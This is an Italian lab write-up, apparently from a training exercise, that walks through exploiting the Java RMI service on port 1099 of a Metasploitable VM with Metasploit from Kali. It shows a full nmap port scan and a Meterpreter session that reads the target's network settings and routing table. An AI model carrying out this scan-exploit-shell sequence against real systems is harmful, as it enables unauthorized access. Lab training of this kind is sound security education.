Sfruttamento Java-rmi 1099 per accesso Meterpreter

Impostiamo le configurazioni e gli indirizzi IP della macchina attaccante e della macchina target come richiesto. Dal terminale di Kali Linux (macchina attaccante) digitiamo il comando msfconsole e facciamo una scansione delle porte aperte sulla macchina target (Metaspotable).

```
File Actions Edit View Help
   -(kali® kali)-[~]
s msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
                                                          -ooy.if1ghtf0r+ehUser5.th3.H1V3.U2VjRFNN.jMh+.
        =[ metasploit v6.4.50-dev
     --=[ 2495 exploits - 1283 auxiliary - 393 post
--=[ 1607 payloads - 49 encoders - 13 nops
Metasploit Documentation: https://docs.metasploit.com/
```

```
msf6 > nmap -sS -sV -p- 192.168.11.112
[*] exec: nmap -sS -sV -p- 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 12:14 EDT Nmap scan report for 192.168.11.112
Host is up (0.0040s latency).
Not shown: 65505 closed tcp ports (reset)
PORT
            STATE SERVICE
                                 VERSION
21/tcp
            open ftp
                                 vsftpd 2.3.4
22/tcp
                                 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
            open ssh
23/tcp
            open telnet
                                 Linux telnetd
25/tcp
                                 Postfix smtpd
            open smtp
53/tcp
            open domain
                                 ISC BIND 9.4.2
80/tcp
            open http
                                 Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp
            open rpcbind
                                 2 (RPC #100000)
            open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
445/tcp
512/tcp
                                 netkit-rsh rexecd
           open exec
           open login?
513/tcp
514/tcp open shell
                                 Netkit rshd
1099/tcp open
                                 GNU Classpath grmiregistry
                   java-rmi
1524/tcp open bindshell
                                 Metasploitable root shell
2049/tcp open nfs
                                 2-4 (RPC #100003)
2121/tcp open ftp
                                 ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
3306/tcp open mysql
3632/tcp open distccd
                                 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
                                 (access denied)
6667/tcp open irc
                                 UnrealIRCd
6697/tcp open irc
                                 UnrealIRCd
                                 Apache Jserv (Protocol v1.3)
8009/tcp open ajp13
                                 Apache Tomcat/Coyote JSP engine 1.1
Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
8180/tcp open http
8787/tcp open drb
36869/tcp open mountd
                                 1-3 (RPC #100005)
44867/tcp open nlockmgr
                                 1-4 (RPC #100021)
51748/tcp open java-rmi
                                 GNU Classpath grmiregistry
52035/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:5A:FC:0A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 168.13 seconds
```

Cerchiamo tra i moduli il servizio che ci interessa e con il comando use inseriamo l'exploit che ci serve.

Vediamo quali parametri inserire e procediamo a inserirli con il comando set, controlliamo se tutti sia corretto e lanciamo l'exploit.





Una volta riuscito l'exploit prendiamo le inpostazioni di rete e le informazioni della tabella di routing della Metaspotable con I seguenti comandi.

```
<u>meterpreter</u> > sessions -i 1
💌 Session 1 is already interactive.
meterpreter > ifconfig
Interface 1
             : lo - lo
Name
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
             : eth0 - eth0
Name
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe5a:fc0a
IPv6 Netmask : ::
meterpreter > shell
Process 1 created.
Channel 1 created.
route
Kernel IP routing table
Destination
                                                 Flags Metric Ref
                Gateway
                                Genmask
                                                                      Use Iface
                                 255.255.255.0
192.168.11.0
                                                                       0 eth0
                                                              0
default
                                0.0.0.0
                                                 UG
                                                       100
                                                              0
                                                                        0 eth0
                192.168.11.1
exit
```